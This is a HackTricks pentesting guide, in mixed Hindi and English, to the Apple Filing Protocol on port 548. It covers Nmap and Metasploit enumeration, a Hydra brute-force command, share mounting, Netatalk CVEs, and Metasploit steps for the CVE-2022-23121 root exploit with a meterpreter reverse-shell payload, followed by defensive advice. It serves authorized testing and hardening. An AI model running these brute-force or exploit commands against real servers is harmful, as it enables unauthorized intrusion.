548 - Pentesting Apple Filing Protocol (AFP)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within Apple File Service (AFS). यह macOS और classic Mac OS के लिए फ़ाइल सेवाएँ प्रदान करने के लिए डिज़ाइन किया गया है। AFP Unicode फ़ाइल नामों, POSIX-style और ACL permissions, resource forks, named extended attributes और उन्नत फ़ाइल-लॉकिंग मेकेनिज़्म का समर्थन करने के लिए विशेष रूप से जाना जाता है।
हालाँकि आधुनिक macOS रिलीज़ में AFP को SMB ने प्रतिस्थापित कर दिया है (SMB is the default since OS X 10.9), फिर भी यह निम्न स्थानों पर देखा जाता है:
- Legacy macOS / Mac OS 9 वातावरण
- NAS appliances (QNAP, Synology, Western Digital, TrueNAS…) जो open-source Netatalk daemon को embed करते हैं
- Mixed-OS नेटवर्क जहाँ Time-Machine-over-AFP अभी भी सक्षम है
डिफ़ॉल्ट TCP पोर्ट: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeration
त्वरित banner / server जानकारी
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
| स्क्रिप्ट | यह क्या करता है |
|---|---|
| afp-ls | उपलब्ध AFP वॉल्यूम और फ़ाइलें सूचीबद्ध करता है |
| afp-brute | AFP login के खिलाफ Password brute-force करता है |
| afp-serverinfo | server name, machine type, AFP version, supported UAMs आदि को dump करता है |
| afp-showmount | shares को उनकी ACLs के साथ सूचीबद्ध करता है |
| afp-path-vuln | directory-traversal, CVE-2010-0533 का पता लगाता है (और exploit कर सकता है) |
यदि अधिक नियंत्रण की आवश्यकता हो तो NSE brute-force script को Hydra/Medusa के साथ जोड़ा जा सकता है:
hydra -L users.txt -P passwords.txt afp://<IP>
यदि आपके पास पहले से credentials हैं, Nmap’s AFP scripts become much more useful क्योंकि afp-serverinfo leaks the advertised UAMs (auth methods), जबकि afp-showmount और afp-ls reachable shares, ACLs और interesting files को enumerate कर सकते हैं:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
- Machine Type: Netatalk
afp-serverinfoआउटपुट में, जो आम तौर पर Apple के अपने AFP कार्यान्वयन की बजाय एक NAS/Unix होस्ट को दर्शाता है। - UAMs जैसे
DHX,DHX2,CleartxtयाGuest, क्योंकि ये सीधे संकेत देते हैं कि पहुँचने योग्य लॉगिन पाथ क्या हैं और क्या legacy / weak auth सक्षम है। - Share ACLs
afp-showmountसे; world-readable या drop-box स्टाइल shares अक्सर बैकअप,.applफाइलें, और user metadata को तब तक एक्सपोज़ कर देते हैं जब तक आप वॉल्यूम को माउंट भी नहीं करते।
शेयर्स के साथ इंटरैक्ट करना
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (afpfs-ng का उपयोग ‑ अधिकांश distros में पैकेज किया गया)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Once mounted, remember that classic Mac resource-forks are stored as hidden ._* AppleDouble files – these often hold interesting metadata that DFIR tools miss.
On Netatalk targets this metadata backend also matters for exploitability:
ea = admeans metadata is stored in AppleDouble v2 files /.AppleDoubledirectories.ea = sysorea = sambastores metadata in filesystem extended attributes instead.- In Netatalk 4.2+ the old
appledoubleoption was removed and the backend is controlled solely through theeaoption.
From an offensive perspective, this lets you quickly decide whether AppleDouble-oriented bugs are more likely to be reachable on the server.
Common Vulnerabilities & Exploitation
Netatalk unauthenticated RCE chain (2022)
Several NAS vendors shipped Netatalk ≤3.1.12. A lack of bounds checking in parse_entries() allows an attacker to craft a malicious AppleDouble header and obtain remote root before authentication (CVSS 9.8 – CVE-2022-23121). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.
Metasploit (>= 6.3) ships the module exploit/linux/netatalk/parse_entries which delivers the payload via DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
यदि लक्ष्य प्रभावित QNAP/Synology फर्मवेयर चला रहा है, तो सफल एक्सप्लॉइटेशन पर root के रूप में शेल प्राप्त होता है।
Netatalk OpenSession heap overflow (2018)
Older Netatalk (3.0.0 - 3.1.11) DSI OpenSession handler में एक out-of-bounds write के लिए कमजोर है जो unauthenticated code execution (CVE-2018-1160) की अनुमति देता है। Tenable Research ने एक विस्तृत analysis और PoC प्रकाशित किया था।
Newer Netatalk attack surface (2022-2024)
Recent Netatalk advisories दिखाती हैं कि attack surface अब केवल parse_entries() और OpenSession handling तक सीमित नहीं है:
- CVE-2022-45188: एक specially crafted
.applफ़ाइलafp_getapplमें heap overflow ट्रिगर कर सकती है; यह विशेष रूप से प्रासंगिक है यदि आप शेयर में फ़ाइलें लिख सकते हैं और सर्वर FCE / notify सुविधाएँ चला रहा हो। - CVE-2023-42464: एक type confusion बग Spotlight RPC handlers में पहुँच योग्य हो सकता है जब
spotlight = yesafp.confमें सक्षम हो (डिफ़ॉल्ट रूप से disabled)। - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: login-related पाथ्स में one-byte heap out-of-bounds writes जिन्हें Netatalk 2.4.1 / 3.1.19 / 3.2.1 में फिक्स किया गया। ये बग्स इसलिए दिलचस्प हैं क्योंकि exploitability कॉन्फिगर किए गए UAMs पर निर्भर करती है:
uams_clrtxt.so+ PAM-backed ClearTxt loginFPLoginExtpath को एक्सपोज़ करता है जो CVE-2024-38439 के लिए प्रासंगिक है।uams_dhx.so+ PAM-backed DHX login vulnerable path तक पहुँचता है जो CVE-2024-38440 के लिए है।uams_guest.soGuest login path को CVE-2024-38441 के लिए पहुंच योग्य रखता है।
इसका मतलब है कि afp-serverinfo का आउटपुट केवल fingerprinting डेटा नहीं है; यह आपको यह तय करने में मदद करता है कि कौन सा login parser एक्सपोज़्ड है, इससे पहले कि आप exploit development या NAS firmware triage में समय लगाएँ।
Other notable issues
- CVE-2022-22995 – Symlink redirection जो AppleDouble v2 सक्षम होने पर arbitrary file write / RCE की ओर ले जाता है (3.1.0 - 3.1.17)।
- CVE-2010-0533 – Apple Mac OS X 10.6 AFP में Directory traversal (जिसे
afp-path-vuln.nseद्वारा detect किया गया)। - Multiple memory-safety bugs को फिर से 2024 Netatalk releases के दौरान फिक्स किया गया; अगर आप
afp-serverinfoमेंNetatalkपहचानते हैं, तो केवल 2018/2022 बग्स मानने से पहले सर्वर वर्शन के साथ एक्सपोज़्ड UAMs / Spotlight / metadata backend को एक मिनट के लिए correlate कर लें।
Defensive Recommendations
- Disable AFP जब तक सख्ती से आवश्यक न हो – SMB3 या NFS का उपयोग करें।
- यदि AFP बने रहना ज़रूरी है, तो Netatalk को ≥ 3.1.18 या 4.x में अपग्रेड करें, या वेन्डर फर्मवेयर लागू करें जो 2022/2023/2024 patches को back-port करता हो।
- Enforce Strong UAMs (उदा. DHX2), clear-text और guest logins निष्क्रिय करें।
- TCP 548 को trusted subnets तक सीमित रखें और दूरस्थ रूप से expose होने पर AFP को VPN के अंदर wrap करें।
- CI/CD में समय-समय पर
nmap -p 548 --script afp-*से स्कैन करें ताकि rogue / downgraded appliances पकड़े जा सकें।
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


